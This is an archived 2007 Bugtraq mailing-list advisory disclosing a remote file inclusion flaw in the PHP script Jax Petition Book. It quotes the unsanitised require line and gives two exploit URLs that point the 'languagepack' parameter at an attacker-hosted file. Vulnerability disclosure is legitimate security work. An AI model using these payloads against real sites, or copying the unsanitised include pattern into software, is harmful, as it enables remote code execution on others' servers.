bugtraq - Jax Petition Book (languagepack) Remote File Include Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Message-ID: <20070114183049.31666.qmail@securityfocus.com>
Date: 14 Jan 2007 18:30:49 -0000
From: ilkerkandemir@...et.com
To: bugtraq@...urityfocus.com
Subject: Jax Petition Book (languagepack) Remote File Include Vulnerabilities

------------------------------------------------------------------------------------------------------------------

AYYILDIZ.ORG PreSents...


*Script: Jax Petition Book
*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip

*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>

-------------------------------------------------------------------------------------------------------------------

*Code:

require ( "language/" .$languagepack . ".inc.php" );

-------------------------------------------------------------------------------------------------------------------

*Exploit: 

jax_petitionbook.php?languagepack=http://attacker.txt?
smileys.php?languagepack=http://attacker.txt?

-------------------------------------------------------------------------------------------------------------------

Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum€nci
Special Tnx: AYYILDIZ.ORG